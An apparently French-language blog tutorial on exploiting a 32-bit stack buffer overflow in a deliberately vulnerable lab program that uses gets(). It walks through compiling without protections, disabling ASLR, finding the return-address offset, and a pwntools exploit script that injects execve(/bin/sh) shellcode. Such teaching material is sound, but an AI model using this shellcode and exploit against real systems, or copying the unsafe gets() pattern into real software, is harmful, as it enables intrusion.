face
⯇ back

Notre première injection de shellcode avec un buffer overflow !

Category : Binary Exploitation
5 min read
on March 13, 2018, noon

Introduction

Dans l'article précèdent je vous ai expliqué le principe d'un buffer overflow, nous allons donc appliquer un buffer overflow de type stack overflow (dépassement de tampons dans la pile). Pour cela nous allons injecter un shellcode, puis écraser l'adresse de retour pour contrôler le registre EIP. Le registre EIP est le registre pointant sur la programme instruction à exécuter. Le contrôler nous permet donc nous permet de contrôler l'exécution du programme.

Qu'est-ce qu'un "shellcode" ?

Un shellcode est une suite d'octets qui forme un programme permettant généralement d'obtenir un shell, d'où son le nom "shellcode". Voici un exemple de shellcode 32bits qui lance le programme /bin/sh : le shell. Il a été trouvé sur http://shell-storm.org/shellcode/  :



"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

Nous utiliserons ce shellcode pour ce challenge.

Le programme vulnérable

Voici le code source du binaire que nous allons exploiter :


#include <stdio.h>

void vuln(void)
{
char buffer[124];
gets(buffer);
}

int main(int argc,char **argv)
{
vuln();
return 0;
}

Il faut compiler le programme avec la commande suivante afin de désactiver les protections que nous verrons plus tard : gcc vuln.c -m32 -fno-stack-protector -z execstack -no-pie -o vuln Nous allons ensuite désactiver temporairement l'ASLR qui est une protection du système d'exploitation permettant de rendre les adresses aléatoires. Nous allons le faire à l'aide de la commande suivante : echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Exploitation du binaire

La vulnérabilité du programme que nous venons de compiler est le manque de contrôle de la taille entrée dans le buffer grâce à la fonction gets.D'ailleurs n peut voir lors de la compilation que gcc nous prévient que gets est dangereuse et ne doit pas être utilisée :

vuln.c:(.text+0x21): avertissement : the `gets' function is dangerous and should not be used.

Recherche de l'offset requis pour contrôler EIP

La première étape pour exploiter ce binaire est de trouver a quel offset se trouve l'adresse de retour à écraser pour contrôler EIP. Lançons gdb-peda et envoyons une chaîne "pattern" dans le buffer : recupération du nombre d'octets pour controler EIP

Nous pouvons voir qu'il faut écrire 136 caractères pour écraser la valeur de retour dans EIP. Voici le fichier BofPattern.pl que j'utilise : https://pastebin.com/afsVqGeX .

Création de notre exploit

Maintenant créons un programme python qui envoie le shellcode, les caractères pour écraser l'adresse dans la pile, ainsi que l'adresse du shellcode où nous voulons rediriger l'exécution, dans le processus "vuln" avec la bibliothèque pwntools :


#!/usr/bin/env python
# coding: utf8

from pwn import *

p = process('./vuln') # on lance le programme "vuln"
pause() # on attends une entrée clavier ( pour pouvoir attacher le debugger gdb avant d'envoyer le payload)

# excve(/bin/sh) 32bits shellcode
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = shellcode
payload += "A"*(136-len(shellcode)) # on ecrit 136 caractere en tout
payload += "BBBB" # caractères ecrasant l'adresse de retour

p.sendline(payload) # on envoi le payload dans l'entrée standard du processus vuln
p.interactive() # on utilise cette fonction pour pouvoir interagir directement avec le shell si l'exploit fonctionne

Nous mettons les caractères "BBBB" donc le programme va segfault à l'adresse 0x42424242 ( 'B' = 0x42 dans la table ascii ) Maintenant nous allons chercher notre shellcode dans la stack avec la commande :

x/56wx $esp-256

pour afficher le contenu de la pile (stack) du programme un peu plus haut dans la pile :

Nous pouvons voir que notre shellcode commence à l'adresse 0xffffd5f4, remplaçons nos "BBBB" par p32(0xffffd5f4) dans notre payload. la fonction p32 permet d'écrire l'adresse  à l'envers  ( little-endian ) car nous sommes dans une architecture intel. voici l'exploit final :


 


#!/usr/bin/env python
# coding: utf8

from pwn import *

p = process('./vuln') # on lance le programme "vuln"

# excve(/bin/sh) 32bits shellcode
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = shellcode
payload += "A"*(136-len(shellcode)) # on ecrit 136 caractere en tout
payload += p32(0xffffd5f4) # adresse ecrasant l'adresse de retour

p.sendline(payload) # on envoi le payload dans l'entrée standard du processus vuln
p.interactive() # on utilise cette fonction pour pouvoir interagir directement avec le shell si l'exploit fonctionne

Lançons le programme 

Nous avons un shell !

Conclusion

J'espère que vous avez apprécié l'article ! Prochainement nous apprendrons à bypasser les diverses protections modernes car ici nous les avons toutes désactivées pour un exemple plus simple.


Comment:

captcha